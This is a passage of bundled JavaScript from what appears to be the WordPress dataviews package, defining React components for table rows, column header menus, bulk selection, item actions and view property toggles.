2408 actions,
2409 isSmall,
2410 registry
2411 }) {
2412 const [activeModalAction, setActiveModalAction] = (0, import_element4.useState)(
2413 null
2414 );
2415 return /* @__PURE__ */ (0, import_jsx_runtime31.jsxs)(import_jsx_runtime31.Fragment, { children: [
2416 /* @__PURE__ */ (0, import_jsx_runtime31.jsxs)(Menu, { placement: "bottom-end", children: [
2417 /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2418 Menu.TriggerButton,
2419 {
2420 render: /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2421 import_components2.Button,
2422 {
2423 size: isSmall ? "small" : "compact",
2424 icon: more_vertical_default,
2425 label: (0, import_i18n9.__)("Actions"),
2426 accessibleWhenDisabled: true,
2427 disabled: !actions.length,
2428 className: "dataviews-all-actions-button"
2429 }
2430 )
2431 }
2432 ),
2433 /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(Menu.Popover, { children: /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2434 ActionsMenuGroup,
2435 {
2436 actions,
2437 item,
2438 registry,
2439 setActiveModalAction
2440 }
2441 ) })
2442 ] }),
2443 !!activeModalAction && /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2444 ActionModal,
2445 {
2446 action: activeModalAction,
2447 items: [item],
2448 closeModal: () => setActiveModalAction(null)
2449 }
2450 )
2451 ] });
2452 }
2453 function PrimaryActions({
2454 item,
2455 actions,
2456 registry,
2457 buttonVariant
2458 }) {
2459 const [activeModalAction, setActiveModalAction] = (0, import_element4.useState)(null);
2460 const isMobileViewport = (0, import_compose.useViewportMatch)("medium", "<");
2461 if (isMobileViewport) {
2462 return null;
2463 }
2464 if (!Array.isArray(actions) || actions.length === 0) {
2465 return null;
2466 }
2467 return /* @__PURE__ */ (0, import_jsx_runtime31.jsxs)(import_jsx_runtime31.Fragment, { children: [
2468 actions.map((action) => /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2469 ButtonTrigger,
2470 {
2471 action,
2472 onClick: () => {
2473 if ("RenderModal" in action) {
2474 setActiveModalAction(action);
2475 return;
2476 }
2477 action.callback([item], { registry });
2478 },
2479 items: [item],
2480 variant: buttonVariant
2481 },
2482 action.id
2483 )),
2484 !!activeModalAction && /* @__PURE__ */ (0, import_jsx_runtime31.jsx)(
2485 ActionModal,
2486 {
2487 action: activeModalAction,
2488 items: [item],
2489 closeModal: () => setActiveModalAction(null)
2490 }
2491 )
2492 ] });
2493 }
2494
2495 // packages/dataviews/build-module/components/dataviews-bulk-actions/index.mjs
2496 var import_components3 = __toESM(require_components(), 1);
2497 var import_i18n11 = __toESM(require_i18n(), 1);
2498 var import_element5 = __toESM(require_element(), 1);
2499 var import_data2 = __toESM(require_data(), 1);
2500 var import_compose2 = __toESM(require_compose(), 1);
2501
2502 // packages/dataviews/build-module/utils/get-footer-message.mjs
2503 var import_i18n10 = __toESM(require_i18n(), 1);
2504 function getFooterMessage(selectionCount, itemsCount, totalItems) {
2505 if (selectionCount > 0) {
2506 return (0, import_i18n10.sprintf)(
2507 /* translators: %d: number of items. */
2508 (0, import_i18n10._n)("%d Item selected", "%d Items selected", selectionCount),
2509 selectionCount
2510 );
2511 }
2512 if (totalItems > itemsCount) {
2513 return (0, import_i18n10.sprintf)(
2514 /* translators: %1$d: number of items. %2$d: total number of items. */
2515 (0, import_i18n10._n)("%1$d of %2$d Item", "%1$d of %2$d Items", totalItems),
2516 itemsCount,
2517 totalItems
2518 );
2519 }
2520 return (0, import_i18n10.sprintf)(
2521 /* translators: %d: number of items. */
2522 (0, import_i18n10._n)("%d Item", "%d Items", itemsCount),
2523 itemsCount
2524 );
2525 }
2526
2527 // packages/dataviews/build-module/components/dataviews-bulk-actions/index.mjs
2528 var import_jsx_runtime32 = __toESM(require_jsx_runtime(), 1);
2529 function useHasAPossibleBulkAction(actions, item) {
2530 return (0, import_element5.useMemo)(() => {
2531 return actions.some((action) => {
2532 return action.supportsBulk && (!action.isEligible || action.isEligible(item));
2533 });
2534 }, [actions, item]);
2535 }
2536 function useSomeItemHasAPossibleBulkAction(actions, data) {
2537 return (0, import_element5.useMemo)(() => {
2538 return data.some((item) => {
2539 return actions.some((action) => {
2540 return action.supportsBulk && (!action.isEligible || action.isEligible(item));
2541 });
2542 });
2543 }, [actions, data]);
2544 }
2545 function BulkSelectionCheckbox({
2546 selection,
2547 onChangeSelection,
2548 data,
2549 actions,
2550 getItemId
2551 }) {
2552 const selectableItems = (0, import_element5.useMemo)(() => {
2553 return data.filter((item) => {
2554 return actions.some(
2555 (action) => action.supportsBulk && (!action.isEligible || action.isEligible(item))
2556 );
2557 });
2558 }, [data, actions]);
2559 const selectedItems = data.filter(
2560 (item) => selection.includes(getItemId(item)) && selectableItems.includes(item)
2561 );
2562 const areAllSelected = selectedItems.length === selectableItems.length;
2563 return /* @__PURE__ */ (0, import_jsx_runtime32.jsx)(
2564 import_components3.CheckboxControl,
2565 {
2566 className: "dataviews-view-table-selection-checkbox",
2567 checked: areAllSelected,
2568 indeterminate: !areAllSelected && !!selectedItems.length,
2569 onChange: () => {
2570 if (areAllSelected) {
2571 onChangeSelection([]);
2572 } else {
2573 onChangeSelection(
2574 selectableItems.map((item) => getItemId(item))
2575 );
2576 }
2577 },
2578 "aria-label": areAllSelected ? (0, import_i18n11.__)("Deselect all") : (0, import_i18n11.__)("Select all")
2579 }
2580 );
2581 }
2582
2583 // packages/dataviews/build-module/components/dataviews-layouts/table/column-header-menu.mjs
2584 var import_i18n12 = __toESM(require_i18n(), 1);
2585 var import_components4 = __toESM(require_components(), 1);
2586 var import_element6 = __toESM(require_element(), 1);
2587
2588 // packages/dataviews/build-module/utils/get-hideable-fields.mjs
2589 function getHideableFields(view, fields) {
2590 const togglableFields = [
2591 view?.titleField,
2592 view?.mediaField,
2593 view?.descriptionField
2594 ].filter(Boolean);
2595 return fields.filter(
2596 (f2) => !togglableFields.includes(f2.id) && f2.type !== "media" && f2.enableHiding !== false
2597 );
2598 }
2599
2600 // packages/dataviews/build-module/components/dataviews-layouts/table/column-header-menu.mjs
2601 var import_jsx_runtime33 = __toESM(require_jsx_runtime(), 1);
2602 var { Menu: Menu2 } = unlock(import_components4.privateApis);
2603 function WithMenuSeparators({ children }) {
2604 return import_element6.Children.toArray(children).filter(Boolean).map((child, i2) => /* @__PURE__ */ (0, import_jsx_runtime33.jsxs)(import_element6.Fragment, { children: [
2605 i2 > 0 && /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.Separator, {}),
2606 child
2607 ] }, i2));
2608 }
2609 var _HeaderMenu = (0, import_element6.forwardRef)(function HeaderMenu({
2610 fieldId,
2611 view,
2612 fields,
2613 onChangeView,
2614 onHide,
2615 setOpenedFilter,
2616 canMove = true,
2617 canInsertLeft = true,
2618 canInsertRight = true
2619 }, ref) {
2620 const visibleFieldIds = view.fields ?? [];
2621 const index = visibleFieldIds?.indexOf(fieldId);
2622 const isSorted = view.sort?.field === fieldId;
2623 let isHidable = false;
2624 let isSortable = false;
2625 let canAddFilter = false;
2626 let operators = [];
2627 const field = fields.find((f2) => f2.id === fieldId);
2628 const { setIsShowingFilter } = (0, import_element6.useContext)(dataviews_context_default);
2629 if (!field) {
2630 return null;
2631 }
2632 isHidable = field.enableHiding !== false;
2633 isSortable = field.enableSorting !== false;
2634 const header = field.header;
2635 operators = !!field.filterBy && field.filterBy?.operators || [];
2636 canAddFilter = !view.filters?.some((_filter) => fieldId === _filter.field) && !!(field.hasElements || field.Edit) && field.filterBy !== false && !field.filterBy?.isPrimary;
2637 if (!isSortable && !canMove && !isHidable && !canAddFilter) {
2638 return header;
2639 }
2640 const hiddenFields = getHideableFields(view, fields).filter(
2641 (f2) => !visibleFieldIds.includes(f2.id)
2642 );
2643 const canInsert = (canInsertLeft || canInsertRight) && !!hiddenFields.length;
2644 const isRtl = (0, import_i18n12.isRTL)();
2645 return /* @__PURE__ */ (0, import_jsx_runtime33.jsxs)(Menu2, { children: [
2646 /* @__PURE__ */ (0, import_jsx_runtime33.jsxs)(
2647 Menu2.TriggerButton,
2648 {
2649 render: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(
2650 import_components4.Button,
2651 {
2652 size: "compact",
2653 className: "dataviews-view-table-header-button",
2654 ref,
2655 variant: "tertiary"
2656 }
2657 ),
2658 children: [
2659 header,
2660 view.sort && isSorted && /* @__PURE__ */ (0, import_jsx_runtime33.jsx)("span", { "aria-hidden": "true", children: sortArrows[view.sort.direction] })
2661 ]
2662 }
2663 ),
2664 /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.Popover, { style: { minWidth: "240px" }, children: /* @__PURE__ */ (0, import_jsx_runtime33.jsxs)(WithMenuSeparators, { children: [
2665 isSortable && /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.Group, { children: SORTING_DIRECTIONS.map(
2666 (direction) => {
2667 const isChecked = view.sort && isSorted && view.sort.direction === direction;
2668 const value = `${fieldId}-${direction}`;
2669 return /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(
2670 Menu2.RadioItem,
2671 {
2672 name: "view-table-sorting",
2673 value,
2674 checked: isChecked,
2675 onChange: () => {
2676 onChangeView({
2677 ...view,
2678 sort: {
2679 field: fieldId,
2680 direction
2681 },
2682 showLevels: false
2683 });
2684 },
2685 children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: sortLabels[direction] })
2686 },
2687 value
2688 );
2689 }
2690 ) }),
2691 canAddFilter && /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.Group, { children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(
2692 Menu2.Item,
2693 {
2694 prefix: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_components4.Icon, { icon: funnel_default }),
2695 onClick: () => {
2696 setOpenedFilter(fieldId);
2697 setIsShowingFilter(true);
2698 onChangeView({
2699 ...view,
2700 page: 1,
2701 filters: [
2702 ...view.filters || [],
2703 {
2704 field: fieldId,
2705 value: void 0,
2706 operator: operators[0]
2707 }
2708 ]
2709 });
2710 },
2711 children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: (0, import_i18n12.__)("Add filter") })
2712 }
2713 ) }),
2714 (canMove || isHidable || canInsert) && field && /* @__PURE__ */ (0, import_jsx_runtime33.jsxs)(Menu2.Group, { children: [
2715 canMove && /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(
2716 Menu2.Item,
2717 {
2718 prefix: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_components4.Icon, { icon: arrow_left_default }),
2719 disabled: isRtl ? index >= visibleFieldIds.length - 1 : index < 1,
2720 onClick: () => {
2721 const targetIndex = isRtl ? index + 1 : index - 1;
2722 const newFields = [
2723 ...visibleFieldIds
2724 ];
2725 newFields.splice(index, 1);
2726 newFields.splice(
2727 targetIndex,
2728 0,
2729 fieldId
2730 );
2731 onChangeView({
2732 ...view,
2733 fields: newFields
2734 });
2735 },
2736 children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: (0, import_i18n12.__)("Move left") })
2737 }
2738 ),
2739 canMove && /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(
2740 Menu2.Item,
2741 {
2742 prefix: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_components4.Icon, { icon: arrow_right_default }),
2743 disabled: isRtl ? index < 1 : index >= visibleFieldIds.length - 1,
2744 onClick: () => {
2745 const targetIndex = isRtl ? index - 1 : index + 1;
2746 const newFields = [
2747 ...visibleFieldIds
2748 ];
2749 newFields.splice(index, 1);
2750 newFields.splice(
2751 targetIndex,
2752 0,
2753 fieldId
2754 );
2755 onChangeView({
2756 ...view,
2757 fields: newFields
2758 });
2759 },
2760 children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: (0, import_i18n12.__)("Move right") })
2761 }
2762 ),
2763 canInsertLeft && !!hiddenFields.length && /* @__PURE__ */ (0, import_jsx_runtime33.jsxs)(Menu2, { children: [
2764 /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.SubmenuTriggerItem, { children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: (0, import_i18n12.__)("Insert left") }) }),
2765 /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.Popover, { children: hiddenFields.map((hiddenField) => {
2766 const insertIndex = isRtl ? index + 1 : index;
2767 return /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(
2768 Menu2.Item,
2769 {
2770 onClick: () => {
2771 onChangeView({
2772 ...view,
2773 fields: [
2774 ...visibleFieldIds.slice(
2775 0,
2776 insertIndex
2777 ),
2778 hiddenField.id,
2779 ...visibleFieldIds.slice(
2780 insertIndex
2781 )
2782 ]
2783 });
2784 },
2785 children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: hiddenField.label })
2786 },
2787 hiddenField.id
2788 );
2789 }) })
2790 ] }),
2791 canInsertRight && !!hiddenFields.length && /* @__PURE__ */ (0, import_jsx_runtime33.jsxs)(Menu2, { children: [
2792 /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.SubmenuTriggerItem, { children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: (0, import_i18n12.__)("Insert right") }) }),
2793 /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.Popover, { children: hiddenFields.map((hiddenField) => {
2794 const insertIndex = isRtl ? index : index + 1;
2795 return /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(
2796 Menu2.Item,
2797 {
2798 onClick: () => {
2799 onChangeView({
2800 ...view,
2801 fields: [
2802 ...visibleFieldIds.slice(
2803 0,
2804 insertIndex
2805 ),
2806 hiddenField.id,
2807 ...visibleFieldIds.slice(
2808 insertIndex
2809 )
2810 ]
2811 });
2812 },
2813 children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: hiddenField.label })
2814 },
2815 hiddenField.id
2816 );
2817 }) })
2818 ] }),
2819 isHidable && field && /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(
2820 Menu2.Item,
2821 {
2822 prefix: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(import_components4.Icon, { icon: unseen_default }),
2823 onClick: () => {
2824 onHide(field);
2825 onChangeView({
2826 ...view,
2827 fields: visibleFieldIds.filter(
2828 (id) => id !== fieldId
2829 )
2830 });
2831 },
2832 children: /* @__PURE__ */ (0, import_jsx_runtime33.jsx)(Menu2.ItemLabel, { children: (0, import_i18n12.__)("Hide column") })
2833 }
2834 )
2835 ] })
2836 ] }) })
2837 ] });
2838 });
2839 var ColumnHeaderMenu = _HeaderMenu;
2840 var column_header_menu_default = ColumnHeaderMenu;
2841
2842 // packages/dataviews/build-module/components/dataviews-layouts/utils/item-click-wrapper.mjs
2843 var import_element7 = __toESM(require_element(), 1);
2844 var import_jsx_runtime34 = __toESM(require_jsx_runtime(), 1);
2845 function getClickableItemProps({
2846 item,
2847 isItemClickable: isItemClickable2,
2848 onClickItem,
2849 className
2850 }) {
2851 if (!isItemClickable2(item) || !onClickItem) {
2852 return { className };
2853 }
2854 return {
2855 className: className ? `${className} ${className}--clickable` : void 0,
2856 role: "button",
2857 tabIndex: 0,
2858 onClick: (event) => {
2859 event.stopPropagation();
2860 onClickItem(item);
2861 },
2862 onKeyDown: (event) => {
2863 if (event.key === "Enter" || event.key === "" || event.key === " ") {
2864 event.stopPropagation();
2865 onClickItem(item);
2866 }
2867 }
2868 };
2869 }
2870 function ItemClickWrapper({
2871 item,
2872 isItemClickable: isItemClickable2,
2873 onClickItem,
2874 renderItemLink,
2875 className,
2876 children,
2877 ...extraProps
2878 }) {
2879 if (!isItemClickable2(item)) {
2880 return /* @__PURE__ */ (0, import_jsx_runtime34.jsx)("div", { className, ...extraProps, children });
2881 }
2882 if (renderItemLink) {
2883 const renderedElement = renderItemLink({
2884 item,
2885 className: `${className} ${className}--clickable`,
2886 ...extraProps,
2887 children
2888 });
2889 return (0, import_element7.cloneElement)(renderedElement, {
2890 onClick: (event) => {
2891 event.stopPropagation();
2892 if (renderedElement.props.onClick) {
2893 renderedElement.props.onClick(event);
2894 }
2895 },
2896 onKeyDown: (event) => {
2897 if (event.key === "Enter" || event.key === "" || event.key === " ") {
2898 event.stopPropagation();
2899 if (renderedElement.props.onKeyDown) {
2900 renderedElement.props.onKeyDown(event);
2901 }
2902 }
2903 }
2904 });
2905 }
2906 const clickProps = getClickableItemProps({
2907 item,
2908 isItemClickable: isItemClickable2,
2909 onClickItem,
2910 className
2911 });
2912 return /* @__PURE__ */ (0, import_jsx_runtime34.jsx)("div", { ...clickProps, ...extraProps, children });
2913 }
2914
2915 // packages/dataviews/build-module/components/dataviews-layouts/table/column-primary.mjs
2916 var import_jsx_runtime35 = __toESM(require_jsx_runtime(), 1);
2917 function ColumnPrimary({
2918 item,
2919 level,
2920 titleField,
2921 mediaField,
2922 descriptionField: descriptionField2,
2923 onClickItem,
2924 renderItemLink,
2925 isItemClickable: isItemClickable2
2926 }) {
2927 return /* @__PURE__ */ (0, import_jsx_runtime35.jsxs)(Stack, { direction: "row", gap: "md", align: "flex-start", justify: "flex-start", children: [
2928 mediaField && /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(
2929 ItemClickWrapper,
2930 {
2931 item,
2932 isItemClickable: isItemClickable2,
2933 onClickItem,
2934 renderItemLink,
2935 className: "dataviews-view-table__cell-content-wrapper dataviews-column-primary__media",
2936 "aria-label": isItemClickable2(item) && (!!onClickItem || !!renderItemLink) && !!titleField ? titleField.getValue?.({ item }) : void 0,
2937 children: /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(
2938 mediaField.render,
2939 {
2940 item,
2941 field: mediaField,
2942 config: { sizes: "32px" }
2943 }
2944 )
2945 }
2946 ),
2947 /* @__PURE__ */ (0, import_jsx_runtime35.jsxs)(
2948 Stack,
2949 {
2950 direction: "column",
2951 align: "flex-start",
2952 className: "dataviews-view-table__primary-column-content",
2953 children: [
2954 titleField && /* @__PURE__ */ (0, import_jsx_runtime35.jsxs)(
2955 ItemClickWrapper,
2956 {
2957 item,
2958 isItemClickable: isItemClickable2,
2959 onClickItem,
2960 renderItemLink,
2961 className: "dataviews-view-table__cell-content-wrapper dataviews-title-field",
2962 children: [
2963 level !== void 0 && level > 0 && /* @__PURE__ */ (0, import_jsx_runtime35.jsxs)("span", { className: "dataviews-view-table__level", children: [
2964 Array(level).fill("\u2014").join(" "),
2965 "\xA0"
2966 ] }),
2967 /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(titleField.render, { item, field: titleField })
2968 ]
2969 }
2970 ),
2971 descriptionField2 && /* @__PURE__ */ (0, import_jsx_runtime35.jsx)(
2972 descriptionField2.render,
2973 {
2974 item,
2975 field: descriptionField2
2976 }
2977 )
2978 ]
2979 }
2980 )
2981 ] });
2982 }
2983 var column_primary_default = ColumnPrimary;
2984
2985 // packages/dataviews/build-module/components/dataviews-layouts/table/use-is-horizontal-scroll-end.mjs
2986 var import_compose3 = __toESM(require_compose(), 1);
2987 var import_element8 = __toESM(require_element(), 1);
2988 var import_i18n13 = __toESM(require_i18n(), 1);
2989 var isScrolledToEnd = (element) => {
2990 if ((0, import_i18n13.isRTL)()) {
2991 const scrollLeft = Math.abs(element.scrollLeft);
2992 return scrollLeft <= 1;
2993 }
2994 return element.scrollLeft + element.clientWidth >= element.scrollWidth - 1;
2995 };
2996 function useIsHorizontalScrollEnd({
2997 scrollContainerRef,
2998 enabled = false
2999 }) {
3000 const [isHorizontalScrollEnd, setIsHorizontalScrollEnd] = (0, import_element8.useState)(false);
3001 const handleIsHorizontalScrollEnd = (0, import_compose3.useDebounce)(
3002 (0, import_element8.useCallback)(() => {
3003 const scrollContainer = scrollContainerRef.current;
3004 if (scrollContainer) {
3005 setIsHorizontalScrollEnd(isScrolledToEnd(scrollContainer));
3006 }
3007 }, [scrollContainerRef, setIsHorizontalScrollEnd]),
3008 200
3009 );
3010 (0, import_element8.useEffect)(() => {
3011 if (typeof window === "undefined" || !enabled || !scrollContainerRef.current) {
3012 return () => {
3013 };
3014 }
3015 handleIsHorizontalScrollEnd();
3016 scrollContainerRef.current.addEventListener(
3017 "scroll",
3018 handleIsHorizontalScrollEnd
3019 );
3020 window.addEventListener("resize", handleIsHorizontalScrollEnd);
3021 return () => {
3022 scrollContainerRef.current?.removeEventListener(
3023 "scroll",
3024 handleIsHorizontalScrollEnd
3025 );
3026 window.removeEventListener("resize", handleIsHorizontalScrollEnd);
3027 };
3028 }, [scrollContainerRef, enabled]);
3029 return isHorizontalScrollEnd;
3030 }
3031
3032 // packages/dataviews/build-module/components/dataviews-layouts/utils/get-data-by-group.mjs
3033 function getDataByGroup(data, groupByField) {
3034 return data.reduce((groups, item) => {
3035 const groupName = groupByField.getValue({ item });
3036 if (!groups.has(groupName)) {
3037 groups.set(groupName, []);
3038 }
3039 groups.get(groupName)?.push(item);
3040 return groups;
3041 }, /* @__PURE__ */ new Map());
3042 }
3043
3044 // packages/dataviews/build-module/components/dataviews-view-config/properties-section.mjs
3045 var import_components5 = __toESM(require_components(), 1);
3046 var import_i18n14 = __toESM(require_i18n(), 1);
3047 var import_element9 = __toESM(require_element(), 1);
3048 var import_jsx_runtime36 = __toESM(require_jsx_runtime(), 1);
3049 function FieldItem({
3050 field,
3051 isVisible: isVisible2,
3052 onToggleVisibility
3053 }) {
3054 return /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_components5.__experimentalItem, { onClick: field.enableHiding ? onToggleVisibility : void 0, children: /* @__PURE__ */ (0, import_jsx_runtime36.jsxs)(Stack, { direction: "row", gap: "sm", justify: "flex-start", align: "center", children: [
3055 /* @__PURE__ */ (0, import_jsx_runtime36.jsx)("div", { style: { height: 24, width: 24 }, children: isVisible2 && /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_components5.Icon, { icon: check_default }) }),
3056 /* @__PURE__ */ (0, import_jsx_runtime36.jsx)("span", { className: "dataviews-view-config__label", children: field.label })
3057 ] }) });
3058 }
3059 function isDefined(item) {
3060 return !!item;
3061 }
3062 function PropertiesSection({
3063 showLabel = true
3064 }) {
3065 const { view, fields, onChangeView } = (0, import_element9.useContext)(dataviews_context_default);
3066 const regularFields = getHideableFields(view, fields);
3067 if (!regularFields?.length) {
3068 return null;
3069 }
3070 const titleField = fields.find((f2) => f2.id === view.titleField);
3071 const previewField = fields.find((f2) => f2.id === view.mediaField);
3072 const descriptionField2 = fields.find(
3073 (f2) => f2.id === view.descriptionField
3074 );
3075 const lockedFields = [
3076 {
3077 field: titleField,
3078 isVisibleFlag: "showTitle"
3079 },
3080 {
3081 field: previewField,
3082 isVisibleFlag: "showMedia"
3083 },
3084 {
3085 field: descriptionField2,
3086 isVisibleFlag: "showDescription"
3087 }
3088 ].filter(({ field }) => isDefined(field));
3089 const visibleFieldIds = view.fields ?? [];
3090 const visibleRegularFieldsCount = regularFields.filter(
3091 (f2) => visibleFieldIds.includes(f2.id)
3092 ).length;
3093 const visibleLockedFields = lockedFields.filter(
3094 ({ isVisibleFlag }) => (
3095 // @ts-expect-error
3096 view[isVisibleFlag] ?? true
3097 )
3098 );
3099 const totalVisibleFields = visibleLockedFields.length + visibleRegularFieldsCount;
3100 const isSingleVisibleLockedField = totalVisibleFields === 1 && visibleLockedFields.length === 1;
3101 return /* @__PURE__ */ (0, import_jsx_runtime36.jsxs)(Stack, { direction: "column", className: "dataviews-field-control", children: [
3102 showLabel && /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(import_components5.BaseControl.VisualLabel, { children: (0, import_i18n14.__)("Properties") }),
3103 /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(
3104 Stack,
3105 {
3106 direction: "column",
3107 className: "dataviews-view-config__properties",
3108 children: /* @__PURE__ */ (0, import_jsx_runtime36.jsxs)(import_components5.__experimentalItemGroup, { isBordered: true, isSeparated: true, size: "medium", children: [
3109 lockedFields.map(({ field, isVisibleFlag }) => {
3110 const isVisible2 = view[isVisibleFlag] ?? true;
3111 const fieldToRender = isSingleVisibleLockedField && isVisible2 ? { ...field, enableHiding: false } : field;
3112 return /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(
3113 FieldItem,
3114 {
3115 field: fieldToRender,
3116 isVisible: isVisible2,
3117 onToggleVisibility: () => {
3118 onChangeView({
3119 ...view,
3120 [isVisibleFlag]: !isVisible2
3121 });
3122 }
3123 },
3124 field.id
3125 );
3126 }),
3127 regularFields.map((field) => {
3128 const isVisible2 = visibleFieldIds.includes(field.id);
3129 const fieldToRender = totalVisibleFields === 1 && isVisible2 ? { ...field, enableHiding: false } : field;
3130 return /* @__PURE__ */ (0, import_jsx_runtime36.jsx)(
3131 FieldItem,
3132 {
3133 field: fieldToRender,
3134 isVisible: isVisible2,
3135 onToggleVisibility: () => {
3136 onChangeView({
3137 ...view,
3138 fields: isVisible2 ? visibleFieldIds.filter(
3139 (fieldId) => fieldId !== field.id
3140 ) : [...visibleFieldIds, field.id]
3141 });
3142 }
3143 },
3144 field.id
3145 );
3146 })
3147 ] })
3148 }
3149 )
3150 ] });
3151 }
3152
3153 // packages/dataviews/build-module/hooks/use-delayed-loading.mjs
3154 var import_element10 = __toESM(require_element(), 1);
3155 function useDelayedLoading(isLoading, options = { delay: 400 }) {
3156 const [showLoader, setShowLoader] = (0, import_element10.useState)(false);
3157 (0, import_element10.useEffect)(() => {
3158 if (!isLoading) {
3159 return;
3160 }
3161 const timeout = setTimeout(() => {
3162 setShowLoader(true);
3163 }, options.delay);
3164 return () => {
3165 clearTimeout(timeout);
3166 setShowLoader(false);
3167 };
3168 }, [isLoading, options.delay]);
3169 return showLoader;
3170 }
3171
3172 // packages/dataviews/build-module/components/dataviews-layouts/table/index.mjs
3173 var import_jsx_runtime37 = __toESM(require_jsx_runtime(), 1);
3174 function getEffectiveAlign(explicitAlign, fieldType) {
3175 if (explicitAlign) {
3176 return explicitAlign;
3177 }
3178 if (fieldType === "integer" || fieldType === "number") {
3179 return "end";
3180 }
3181 return void 0;
3182 }
3183 function TableColumnField({
3184 item,
3185 fields,
3186 column,
3187 align
3188 }) {
3189 const field = fields.find((f2) => f2.id === column);
3190 if (!field) {
3191 return null;
3192 }
3193 const className = clsx_default("dataviews-view-table__cell-content-wrapper", {
3194 "dataviews-view-table__cell-align-end": align === "end",
3195 "dataviews-view-table__cell-align-center": align === "center"
3196 });
3197 return /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("div", { className, children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(field.render, { item, field }) });
3198 }
3199 function TableRow({
3200 hasBulkActions,
3201 item,
3202 level,
3203 actions,
3204 fields,
3205 id,
3206 view,
3207 titleField,
3208 mediaField,
3209 descriptionField: descriptionField2,
3210 selection,
3211 getItemId,
3212 isItemClickable: isItemClickable2,
3213 onClickItem,
3214 renderItemLink,
3215 onChangeSelection,
3216 isActionsColumnSticky,
3217 posinset
3218 }) {
3219 const { paginationInfo } = (0, import_element11.useContext)(dataviews_context_default);
3220 const hasPossibleBulkAction = useHasAPossibleBulkAction(actions, item);
3221 const isSelected2 = hasPossibleBulkAction && selection.includes(id);
3222 const {
3223 showTitle = true,
3224 showMedia = true,
3225 showDescription = true,
3226 infiniteScrollEnabled
3227 } = view;
3228 const isTouchDeviceRef = (0, import_element11.useRef)(false);
3229 const columns = view.fields ?? [];
3230 const hasPrimaryColumn = titleField && showTitle || mediaField && showMedia || descriptionField2 && showDescription;
3231 return /* @__PURE__ */ (0, import_jsx_runtime37.jsxs)(
3232 "tr",
3233 {
3234 className: clsx_default("dataviews-view-table__row", {
3235 "is-selected": hasPossibleBulkAction && isSelected2,
3236 "has-bulk-actions": hasPossibleBulkAction
3237 }),
3238 onTouchStart: () => {
3239 isTouchDeviceRef.current = true;
3240 },
3241 "aria-setsize": infiniteScrollEnabled ? paginationInfo.totalItems : void 0,
3242 "aria-posinset": posinset,
3243 role: infiniteScrollEnabled ? "article" : void 0,
3244 onMouseDown: (event) => {
3245 const isMetaClick = (0, import_keycodes.isAppleOS)() ? event.metaKey : event.ctrlKey;
3246 if (event.button === 0 && isMetaClick && window.navigator.userAgent.toLowerCase().includes("firefox")) {
3247 event?.preventDefault();
3248 }
3249 },
3250 onClick: (event) => {
3251 if (!hasPossibleBulkAction) {
3252 return;
3253 }
3254 const isModifierKeyPressed = (0, import_keycodes.isAppleOS)() ? event.metaKey : event.ctrlKey;
3255 if (isModifierKeyPressed && !isTouchDeviceRef.current && document.getSelection()?.type !== "Range") {
3256 onChangeSelection(
3257 selection.includes(id) ? selection.filter((itemId) => id !== itemId) : [...selection, id]
3258 );
3259 }
3260 },
3261 children: [
3262 hasBulkActions && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("td", { className: "dataviews-view-table__checkbox-column", children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("div", { className: "dataviews-view-table__cell-content-wrapper", children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3263 DataViewsSelectionCheckbox,
3264 {
3265 item,
3266 selection,
3267 onChangeSelection,
3268 getItemId,
3269 titleField,
3270 disabled: !hasPossibleBulkAction
3271 }
3272 ) }) }),
3273 hasPrimaryColumn && /* @__PURE__ */ (0, import_jsx_runtime37.jsx)("td", { children: /* @__PURE__ */ (0, import_jsx_runtime37.jsx)(
3274 column_primary_default,
3275 {
3276 item,
3277 level,
3278 titleField: showTitle ? titleField : void 0,
3279 mediaField: showMedia ? mediaField : void 0,
3280 descriptionField: showDescription ? descriptionField2 : void 0,
